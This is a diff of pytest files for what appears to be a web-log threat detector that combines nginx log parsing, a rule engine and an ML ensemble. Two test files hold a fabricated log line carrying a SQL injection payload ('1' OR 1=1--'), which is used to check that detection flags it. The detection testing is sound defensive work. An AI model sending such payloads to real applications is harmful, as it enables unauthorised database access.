active_rows = [r for r in all_rows if r.is_active]
|
||||||
|
|
||||||
|
assert len(active_rows) == 3
|
||||||
|
assert all(r.training_samples == 600 for r in active_rows)
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_previous_inactive_rows_preserved(
|
||||||
|
self,
|
||||||
|
db_session: AsyncSession,
|
||||||
|
model_artifacts: Path,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Old model rows are deactivated, not deleted, after a new save
|
||||||
|
"""
|
||||||
|
await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=500,
|
||||||
|
metrics={"f1": 0.9},
|
||||||
|
)
|
||||||
|
|
||||||
|
(model_artifacts / "ae.onnx").write_bytes(b"new-ae-data")
|
||||||
|
await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=600,
|
||||||
|
metrics={"f1": 0.95},
|
||||||
|
)
|
||||||
|
|
||||||
|
result = await db_session.execute(select(ModelMetadata))
|
||||||
|
all_rows = result.scalars().all()
|
||||||
|
inactive = [r for r in all_rows if not r.is_active]
|
||||||
|
|
||||||
|
assert len(all_rows) == 6
|
||||||
|
assert len(inactive) == 3
|
||||||
|
assert all(r.training_samples == 500 for r in inactive)
|
||||||
|
|
@ -0,0 +1,179 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_ml_integration.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import fakeredis.aioredis
|
||||||
|
import numpy as np
|
||||||
|
import pytest
|
||||||
|
from sklearn.ensemble import (
|
||||||
|
IsolationForest,
|
||||||
|
RandomForestClassifier,
|
||||||
|
)
|
||||||
|
|
||||||
|
from app.core.detection.inference import InferenceEngine
|
||||||
|
from app.core.detection.rules import RuleEngine
|
||||||
|
from app.core.ingestion.pipeline import (
|
||||||
|
Pipeline,
|
||||||
|
ScoredRequest,
|
||||||
|
)
|
||||||
|
from ml.autoencoder import ThreatAutoencoder
|
||||||
|
from ml.export_onnx import (
|
||||||
|
export_autoencoder,
|
||||||
|
export_isolation_forest,
|
||||||
|
export_random_forest,
|
||||||
|
)
|
||||||
|
from ml.scaler import FeatureScaler
|
||||||
|
|
||||||
|
VALID_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
||||||
|
'"GET /api/v1/users HTTP/1.1" 200 1234 '
|
||||||
|
'"https://example.com" '
|
||||||
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
|
|
||||||
|
SQLI_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
|
||||||
|
'"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
|
||||||
|
'"-" "Mozilla/5.0"')
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def trained_model_dir(tmp_path: Path) -> Path:
|
||||||
|
"""
|
||||||
|
Create a temp directory with trained ONNX models,
|
||||||
|
scaler, and threshold
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
X = rng.standard_normal((200, 35)).astype(np.float32)
|
||||||
|
y = np.concatenate([np.zeros(140, dtype=int), np.ones(60, dtype=int)])
|
||||||
|
|
||||||
|
ae = ThreatAutoencoder(input_dim=35)
|
||||||
|
export_autoencoder(ae, tmp_path / "ae.onnx")
|
||||||
|
|
||||||
|
rf = RandomForestClassifier(n_estimators=10, random_state=42)
|
||||||
|
rf.fit(X, y)
|
||||||
|
export_random_forest(rf, 35, tmp_path / "rf.onnx")
|
||||||
|
|
||||||
|
iso = IsolationForest(n_estimators=10, random_state=42)
|
||||||
|
iso.fit(X[:140])
|
||||||
|
export_isolation_forest(iso, 35, tmp_path / "if.onnx")
|
||||||
|
|
||||||
|
scaler = FeatureScaler()
|
||||||
|
scaler.fit(X[:140])
|
||||||
|
scaler.save_json(tmp_path / "scaler.json")
|
||||||
|
|
||||||
|
threshold_data = {"threshold": 0.05}
|
||||||
|
(tmp_path / "threshold.json").write_text(json.dumps(threshold_data))
|
||||||
|
|
||||||
|
return tmp_path
|
||||||
|
|
||||||
|
|
||||||
|
async def _make_pipeline_with_ml(
|
||||||
|
results: list[ScoredRequest],
|
||||||
|
model_dir: Path,
|
||||||
|
) -> Pipeline:
|
||||||
|
"""
|
||||||
|
Build a Pipeline with ML inference engine wired in
|
||||||
|
"""
|
||||||
|
redis = fakeredis.aioredis.FakeRedis(decode_responses=True)
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
|
||||||
|
async def collect(sr: ScoredRequest) -> None:
|
||||||
|
results.append(sr)
|
||||||
|
|
||||||
|
pipeline = Pipeline(
|
||||||
|
redis_client=redis,
|
||||||
|
rule_engine=RuleEngine(),
|
||||||
|
on_result=collect,
|
||||||
|
inference_engine=engine,
|
||||||
|
)
|
||||||
|
await pipeline.start()
|
||||||
|
return pipeline
|
||||||
|
|
||||||
|
|
||||||
|
async def _make_pipeline_rules_only(
|
||||||
|
results: list[ScoredRequest], ) -> Pipeline:
|
||||||
|
"""
|
||||||
|
Build a Pipeline without ML inference engine
|
||||||
|
"""
|
||||||
|
redis = fakeredis.aioredis.FakeRedis(decode_responses=True)
|
||||||
|
|
||||||
|
async def collect(sr: ScoredRequest) -> None:
|
||||||
|
results.append(sr)
|
||||||
|
|
||||||
|
pipeline = Pipeline(
|
||||||
|
redis_client=redis,
|
||||||
|
rule_engine=RuleEngine(),
|
||||||
|
on_result=collect,
|
||||||
|
)
|
||||||
|
await pipeline.start()
|
||||||
|
return pipeline
|
||||||
|
|
||||||
|
|
||||||
|
class TestMLIntegration:
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_pipeline_with_ml_sets_hybrid_mode(
|
||||||
|
self, trained_model_dir: Path) -> None:
|
||||||
|
results: list[ScoredRequest] = []
|
||||||
|
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
|
||||||
|
|
||||||
|
await pipeline.raw_queue.put(VALID_LINE)
|
||||||
|
await pipeline.stop()
|
||||||
|
|
||||||
|
assert len(results) == 1
|
||||||
|
assert results[0].detection_mode == "hybrid"
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_pipeline_with_ml_produces_final_score(
|
||||||
|
self, trained_model_dir: Path) -> None:
|
||||||
|
results: list[ScoredRequest] = []
|
||||||
|
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
|
||||||
|
|
||||||
|
await pipeline.raw_queue.put(VALID_LINE)
|
||||||
|
await pipeline.stop()
|
||||||
|
|
||||||
|
assert len(results) == 1
|
||||||
|
assert results[0].final_score >= 0.0
|
||||||
|
assert results[0].final_score <= 1.0
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_rules_only_uses_rule_score(self, ) -> None:
|
||||||
|
results: list[ScoredRequest] = []
|
||||||
|
pipeline = await _make_pipeline_rules_only(results)
|
||||||
|
|
||||||
|
await pipeline.raw_queue.put(VALID_LINE)
|
||||||
|
await pipeline.stop()
|
||||||
|
|
||||||
|
assert len(results) == 1
|
||||||
|
assert results[0].detection_mode == "rules"
|
||||||
|
assert results[0].final_score == results[0].rule_result.threat_score
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_attack_scores_higher_than_benign(
|
||||||
|
self, trained_model_dir: Path) -> None:
|
||||||
|
results: list[ScoredRequest] = []
|
||||||
|
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
|
||||||
|
|
||||||
|
await pipeline.raw_queue.put(VALID_LINE)
|
||||||
|
await pipeline.raw_queue.put(SQLI_LINE)
|
||||||
|
await pipeline.stop()
|
||||||
|
|
||||||
|
assert len(results) == 2
|
||||||
|
benign_score = results[0].final_score
|
||||||
|
attack_score = results[1].final_score
|
||||||
|
assert attack_score > benign_score
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_rule_result_preserved_in_hybrid_mode(
|
||||||
|
self, trained_model_dir: Path) -> None:
|
||||||
|
results: list[ScoredRequest] = []
|
||||||
|
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
|
||||||
|
|
||||||
|
await pipeline.raw_queue.put(SQLI_LINE)
|
||||||
|
await pipeline.stop()
|
||||||
|
|
||||||
|
assert len(results) == 1
|
||||||
|
assert "SQL_INJECTION" in results[0].rule_result.matched_rules
|
||||||
|
assert results[0].rule_result.threat_score > 0
|
||||||
|
|
@ -0,0 +1,133 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_orchestrator.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from ml.orchestrator import TrainingOrchestrator, TrainingResult
|
||||||
|
|
||||||
|
N_FEATURES = 35
|
||||||
|
EXPECTED_FILES = [
|
||||||
|
"ae.onnx",
|
||||||
|
"rf.onnx",
|
||||||
|
"if.onnx",
|
||||||
|
"scaler.json",
|
||||||
|
"threshold.json",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def _make_dataset() -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Generate a small synthetic dataset for testing
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
X_normal = rng.standard_normal((200, N_FEATURES)).astype(np.float32)
|
||||||
|
X_attack = (rng.standard_normal((80, N_FEATURES)).astype(np.float32) + 2.0)
|
||||||
|
X = np.vstack([X_normal, X_attack])
|
||||||
|
y = np.array([0] * 200 + [1] * 80, dtype=np.int32)
|
||||||
|
return X, y
|
||||||
|
|
||||||
|
|
||||||
|
class TestTrainingOrchestrator:
|
||||||
|
"""
|
||||||
|
Test the end-to-end training orchestrator
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_produces_all_output_files(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Orchestrator produces all 5 expected output files
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
orch.run(X, y)
|
||||||
|
|
||||||
|
for filename in EXPECTED_FILES:
|
||||||
|
assert (tmp_path / filename).exists(), f"Missing {filename}"
|
||||||
|
|
||||||
|
def test_returns_training_result(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Returns a TrainingResult dataclass
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
assert isinstance(result, TrainingResult)
|
||||||
|
|
||||||
|
def test_scaler_json_has_required_keys(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
scaler.json contains center, scale, and n_features
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
orch.run(X, y)
|
||||||
|
|
||||||
|
scaler_data = json.loads((tmp_path / "scaler.json").read_text())
|
||||||
|
assert "center" in scaler_data
|
||||||
|
assert "scale" in scaler_data
|
||||||
|
assert "n_features" in scaler_data
|
||||||
|
|
||||||
|
def test_threshold_json_has_float(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
threshold.json contains a float threshold value
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
orch.run(X, y)
|
||||||
|
|
||||||
|
threshold_data = json.loads((tmp_path / "threshold.json").read_text())
|
||||||
|
assert "threshold" in threshold_data
|
||||||
|
assert isinstance(threshold_data["threshold"], float)
|
||||||
|
|
||||||
|
def test_result_has_per_model_metrics(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
TrainingResult includes metrics for each model
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
assert "ae_threshold" in result.ae_metrics
|
||||||
|
assert "f1" in result.rf_metrics
|
||||||
|
assert "n_samples" in result.if_metrics
|
||||||
|
|
||||||
|
def test_ensemble_metrics_present(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Ensemble validation metrics are populated
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
assert result.ensemble_metrics is not None
|
||||||
|
assert 0.0 <= result.ensemble_metrics.f1 <= 1.0
|
||||||
|
|
||||||
|
def test_mlflow_run_id_set(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
MLflow run ID is captured in the result
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
mlflow_dir = tmp_path / "mlruns"
|
||||||
|
mlflow_dir.mkdir()
|
||||||
|
orch = TrainingOrchestrator(
|
||||||
|
output_dir=tmp_path / "models",
|
||||||
|
epochs=3,
|
||||||
|
)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
assert result.mlflow_run_id is not None
|
||||||
|
assert len(result.mlflow_run_id) == 32
|
||||||
|
|
||||||
|
def test_passed_gates_is_bool(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
passed_gates is a boolean value
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
assert isinstance(result.passed_gates, bool)
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_parsers.py
|
test_parsers.py
|
||||||
|
|
||||||
|
Tests nginx combined log line parsing via parse_combined.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from datetime import datetime, UTC
|
from datetime import datetime, UTC
|
||||||
|
|
@ -12,12 +14,10 @@ def test_parse_standard_combined_line() -> None:
|
||||||
"""
|
"""
|
||||||
Parse a standard nginx combined log line into all fields.
|
Parse a standard nginx combined log line into all fields.
|
||||||
"""
|
"""
|
||||||
line = (
|
line = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
||||||
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
'"GET /api/users?page=1 HTTP/1.1" 200 1234 '
|
||||||
'"GET /api/users?page=1 HTTP/1.1" 200 1234 '
|
'"https://example.com" '
|
||||||
'"https://example.com" '
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
|
||||||
)
|
|
||||||
result = parse_combined(line)
|
result = parse_combined(line)
|
||||||
|
|
||||||
assert result is not None
|
assert result is not None
|
||||||
|
|
@ -52,10 +52,8 @@ def test_parse_missing_referer() -> None:
|
||||||
"""
|
"""
|
||||||
A dash referer is normalized to an empty string.
|
A dash referer is normalized to an empty string.
|
||||||
"""
|
"""
|
||||||
line = (
|
line = ("10.0.0.1 - - [11/Feb/2026:08:15:42 +0000] "
|
||||||
"10.0.0.1 - - [11/Feb/2026:08:15:42 +0000] "
|
'"POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"')
|
||||||
'"POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"'
|
|
||||||
)
|
|
||||||
result = parse_combined(line)
|
result = parse_combined(line)
|
||||||
|
|
||||||
assert result is not None
|
assert result is not None
|
||||||
|
|
@ -71,8 +69,7 @@ def test_parse_complex_query_string() -> None:
|
||||||
line = (
|
line = (
|
||||||
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
||||||
'"GET /search?q=hello+world&lang=en&page=2&sort=relevance HTTP/1.1" '
|
'"GET /search?q=hello+world&lang=en&page=2&sort=relevance HTTP/1.1" '
|
||||||
'200 5678 "https://example.com/search" "Mozilla/5.0"'
|
'200 5678 "https://example.com/search" "Mozilla/5.0"')
|
||||||
)
|
|
||||||
result = parse_combined(line)
|
result = parse_combined(line)
|
||||||
|
|
||||||
assert result is not None
|
assert result is not None
|
||||||
|
|
@ -110,11 +107,9 @@ def test_parse_full_ipv6_address() -> None:
|
||||||
"""
|
"""
|
||||||
Parse a line with a full-length IPv6 address.
|
Parse a line with a full-length IPv6 address.
|
||||||
"""
|
"""
|
||||||
line = (
|
line = ("2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - "
|
||||||
"2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - "
|
'[11/Feb/2026:14:30:00 +0000] "GET /api/v1/health HTTP/2.0" '
|
||||||
'[11/Feb/2026:14:30:00 +0000] "GET /api/v1/health HTTP/2.0" '
|
'200 256 "-" "python-httpx/0.28"')
|
||||||
'200 256 "-" "python-httpx/0.28"'
|
|
||||||
)
|
|
||||||
result = parse_combined(line)
|
result = parse_combined(line)
|
||||||
|
|
||||||
assert result is not None
|
assert result is not None
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_pipeline.py
|
test_pipeline.py
|
||||||
|
|
||||||
|
Tests the async ingestion pipeline: parsing, feature extraction, rule scoring, and shutdown.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import fakeredis.aioredis
|
import fakeredis.aioredis
|
||||||
|
|
@ -9,18 +11,14 @@ import pytest
|
||||||
from app.core.detection.rules import RuleEngine
|
from app.core.detection.rules import RuleEngine
|
||||||
from app.core.ingestion.pipeline import Pipeline, ScoredRequest
|
from app.core.ingestion.pipeline import Pipeline, ScoredRequest
|
||||||
|
|
||||||
VALID_LINE = (
|
VALID_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
||||||
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
|
'"GET /api/v1/users HTTP/1.1" 200 1234 '
|
||||||
'"GET /api/v1/users HTTP/1.1" 200 1234 '
|
'"https://example.com" '
|
||||||
'"https://example.com" '
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
|
||||||
)
|
|
||||||
|
|
||||||
SQLI_LINE = (
|
SQLI_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
|
||||||
"93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
|
'"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
|
||||||
'"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
|
'"-" "Mozilla/5.0"')
|
||||||
'"-" "Mozilla/5.0"'
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
async def _make_pipeline(
|
async def _make_pipeline(
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_scaler.py
|
test_scaler.py
|
||||||
|
|
||||||
|
Tests the FeatureScaler: fitting, transform correctness, JSON serialization, and round-trip loading.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
|
|
@ -14,6 +16,9 @@ from ml.scaler import FeatureScaler
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def sample_data() -> np.ndarray:
|
def sample_data() -> np.ndarray:
|
||||||
|
"""
|
||||||
|
Two-hundred samples of 35-dimensional random float32 data.
|
||||||
|
"""
|
||||||
rng = np.random.default_rng(42)
|
rng = np.random.default_rng(42)
|
||||||
return rng.standard_normal((200, 35)).astype(np.float32)
|
return rng.standard_normal((200, 35)).astype(np.float32)
|
||||||
|
|
||||||
|
|
@ -21,23 +26,36 @@ def sample_data() -> np.ndarray:
|
||||||
class TestFeatureScaler:
|
class TestFeatureScaler:
|
||||||
|
|
||||||
def test_fit_sets_n_features(self, sample_data: np.ndarray) -> None:
|
def test_fit_sets_n_features(self, sample_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Fitting stores the number of input features.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
assert scaler.n_features == 35
|
assert scaler.n_features == 35
|
||||||
|
|
||||||
def test_transform_preserves_shape(self, sample_data: np.ndarray) -> None:
|
def test_transform_preserves_shape(self, sample_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Transform output has the same shape as the input array.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
transformed = scaler.transform(sample_data)
|
transformed = scaler.transform(sample_data)
|
||||||
assert transformed.shape == sample_data.shape
|
assert transformed.shape == sample_data.shape
|
||||||
|
|
||||||
def test_transform_dtype_float32(self, sample_data: np.ndarray) -> None:
|
def test_transform_dtype_float32(self, sample_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Transformed array dtype remains float32.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
transformed = scaler.transform(sample_data)
|
transformed = scaler.transform(sample_data)
|
||||||
assert transformed.dtype == np.float32
|
assert transformed.dtype == np.float32
|
||||||
|
|
||||||
def test_transformed_median_near_zero(self, sample_data: np.ndarray) -> None:
|
def test_transformed_median_near_zero(self,
|
||||||
|
sample_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
Median of each feature column is approximately zero after scaling.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
transformed = scaler.transform(sample_data)
|
transformed = scaler.transform(sample_data)
|
||||||
|
|
@ -45,17 +63,21 @@ class TestFeatureScaler:
|
||||||
assert np.allclose(medians, 0.0, atol=0.15)
|
assert np.allclose(medians, 0.0, atol=0.15)
|
||||||
|
|
||||||
def test_inverse_transform_recovers_original(
|
def test_inverse_transform_recovers_original(
|
||||||
self, sample_data: np.ndarray
|
self, sample_data: np.ndarray) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Inverse transform recovers the original values within floating-point tolerance.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
transformed = scaler.transform(sample_data)
|
transformed = scaler.transform(sample_data)
|
||||||
recovered = scaler.inverse_transform(transformed)
|
recovered = scaler.inverse_transform(transformed)
|
||||||
np.testing.assert_allclose(recovered, sample_data, atol=1e-5)
|
np.testing.assert_allclose(recovered, sample_data, atol=1e-5)
|
||||||
|
|
||||||
def test_save_json_creates_file(
|
def test_save_json_creates_file(self, sample_data: np.ndarray,
|
||||||
self, sample_data: np.ndarray, tmp_path: Path
|
tmp_path: Path) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
save_json writes a non-empty file to the given path.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
path = tmp_path / "scaler.json"
|
path = tmp_path / "scaler.json"
|
||||||
|
|
@ -63,9 +85,11 @@ class TestFeatureScaler:
|
||||||
assert path.exists()
|
assert path.exists()
|
||||||
assert path.stat().st_size > 0
|
assert path.stat().st_size > 0
|
||||||
|
|
||||||
def test_save_json_is_valid_json(
|
def test_save_json_is_valid_json(self, sample_data: np.ndarray,
|
||||||
self, sample_data: np.ndarray, tmp_path: Path
|
tmp_path: Path) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Saved JSON contains center, scale, and n_features keys.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
path = tmp_path / "scaler.json"
|
path = tmp_path / "scaler.json"
|
||||||
|
|
@ -75,9 +99,11 @@ class TestFeatureScaler:
|
||||||
assert "scale" in data
|
assert "scale" in data
|
||||||
assert "n_features" in data
|
assert "n_features" in data
|
||||||
|
|
||||||
def test_load_json_round_trip(
|
def test_load_json_round_trip(self, sample_data: np.ndarray,
|
||||||
self, sample_data: np.ndarray, tmp_path: Path
|
tmp_path: Path) -> None:
|
||||||
) -> None:
|
"""
|
||||||
|
Loading from JSON produces a scaler with identical transform output.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
scaler.fit(sample_data)
|
scaler.fit(sample_data)
|
||||||
path = tmp_path / "scaler.json"
|
path = tmp_path / "scaler.json"
|
||||||
|
|
@ -91,11 +117,17 @@ class TestFeatureScaler:
|
||||||
np.testing.assert_allclose(original_out, loaded_out, atol=1e-6)
|
np.testing.assert_allclose(original_out, loaded_out, atol=1e-6)
|
||||||
|
|
||||||
def test_transform_before_fit_raises(self) -> None:
|
def test_transform_before_fit_raises(self) -> None:
|
||||||
|
"""
|
||||||
|
Calling transform before fit raises RuntimeError.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
with pytest.raises(RuntimeError):
|
with pytest.raises(RuntimeError):
|
||||||
scaler.transform(np.zeros((5, 35), dtype=np.float32))
|
scaler.transform(np.zeros((5, 35), dtype=np.float32))
|
||||||
|
|
||||||
def test_fit_transform_convenience(self, sample_data: np.ndarray) -> None:
|
def test_fit_transform_convenience(self, sample_data: np.ndarray) -> None:
|
||||||
|
"""
|
||||||
|
fit_transform fits and transforms in one call.
|
||||||
|
"""
|
||||||
scaler = FeatureScaler()
|
scaler = FeatureScaler()
|
||||||
result = scaler.fit_transform(sample_data)
|
result = scaler.fit_transform(sample_data)
|
||||||
assert result.shape == sample_data.shape
|
assert result.shape == sample_data.shape
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,152 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_splitting.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from ml.splitting import TrainingSplit, prepare_training_data
|
||||||
|
|
||||||
|
N_NORMAL = 160
|
||||||
|
N_ATTACK = 40
|
||||||
|
N_FEATURES = 35
|
||||||
|
TOTAL = N_NORMAL + N_ATTACK
|
||||||
|
|
||||||
|
|
||||||
|
def _make_dataset(
|
||||||
|
n_normal: int = N_NORMAL,
|
||||||
|
n_attack: int = N_ATTACK,
|
||||||
|
n_features: int = N_FEATURES,
|
||||||
|
) -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Generate synthetic imbalanced dataset
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
X = rng.standard_normal(
|
||||||
|
(n_normal + n_attack, n_features)).astype(np.float32)
|
||||||
|
y = np.array(
|
||||||
|
[0] * n_normal + [1] * n_attack,
|
||||||
|
dtype=np.int32,
|
||||||
|
)
|
||||||
|
return X, y
|
||||||
|
|
||||||
|
|
||||||
|
class TestPrepareTrainingData:
|
||||||
|
"""
|
||||||
|
Tests for stratified splitting with SMOTE
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_returns_training_split(self) -> None:
|
||||||
|
"""
|
||||||
|
Returns a TrainingSplit dataclass
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
result = prepare_training_data(X, y)
|
||||||
|
assert isinstance(result, TrainingSplit)
|
||||||
|
|
||||||
|
def test_split_proportions(self) -> None:
|
||||||
|
"""
|
||||||
|
Validates 70/15/15 split proportions
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
result = prepare_training_data(X, y)
|
||||||
|
expected_val = int(TOTAL * 0.15)
|
||||||
|
expected_test = int(TOTAL * 0.15)
|
||||||
|
tolerance = int(TOTAL * 0.05)
|
||||||
|
assert abs(result.X_val.shape[0] - expected_val) <= tolerance
|
||||||
|
assert abs(result.X_test.shape[0] - expected_test) <= tolerance
|
||||||
|
|
||||||
|
def test_stratified_class_distribution(self, ) -> None:
|
||||||
|
"""
|
||||||
|
Splits preserve the original class ratio
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
original_ratio = np.mean(y == 1)
|
||||||
|
result = prepare_training_data(X, y)
|
||||||
|
val_ratio = np.mean(result.y_val == 1)
|
||||||
|
test_ratio = np.mean(result.y_test == 1)
|
||||||
|
ratio_tol = 0.10
|
||||||
|
assert abs(val_ratio - original_ratio) < ratio_tol
|
||||||
|
assert abs(test_ratio - original_ratio) < ratio_tol
|
||||||
|
|
||||||
|
def test_smote_increases_minority(self) -> None:
|
||||||
|
"""
|
||||||
|
SMOTE brings minority ratio near strategy
|
||||||
|
"""
|
||||||
|
X, y = _make_dataset()
|
||||||
|
result = prepare_training_data(
|
||||||
|
X,
|
||||||
|
y,
|
||||||
|
smote_strategy=0.3,
|
||||||
|
)
|
||||||
|
minority = np.sum(result.y_train == 1)
|
||||||
|
majority = np.sum(result.y_train == 0)
|
||||||
|
ratio = minority / majority
|
||||||
|
assert ratio >= 0.25
|
||||||
|
|
||||||
|
